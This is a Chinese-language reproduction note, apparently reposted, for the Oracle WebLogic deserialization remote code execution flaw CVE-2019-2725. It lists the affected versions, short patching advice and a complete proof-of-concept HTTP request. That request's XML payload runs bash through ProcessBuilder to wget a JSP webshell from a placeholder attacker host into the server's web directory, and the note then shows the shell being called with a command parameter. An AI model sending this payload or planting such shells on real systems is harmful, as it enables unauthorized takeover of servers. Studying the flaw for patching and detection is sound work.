Weblogic反序列化遠程代碼執行漏洞(CVE-2019-2725)


目錄:


 

0x00漏洞描述

0x01影響范圍

0x02漏洞復現

0x03漏洞修復


0x00漏洞描述


 

CVE-2019-2725是一個Oracle weblogic反序列化遠程命令執行漏洞,這個漏洞依舊是根據weblogic的xmldecoder反序列化漏洞,通過針對Oracle官網歷年來的補丁構造payload來繞過。

 

0x01影響范圍


 

  weblogic 10.x

  weblogic 12.1.3

 

0x02漏洞復現


 

漏洞存在於:_async/AsyncResponseService,訪問地址可以訪問則存在漏洞

 

登陸成功訪問:http://url/_async/AsyncResponseService(成功訪問則有該漏洞)

 

 

使用burp抓包然后構造payload發送到服務器,使服務器執行命令

 

 

 

 

訪問:http://url/_async/webshell.jsp?pwd=123&cmd=whoami

POC:

POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 850
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

 

 

 0x03漏洞修復


 

1、升級本地JDK環境

2、及時安裝官方補丁

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM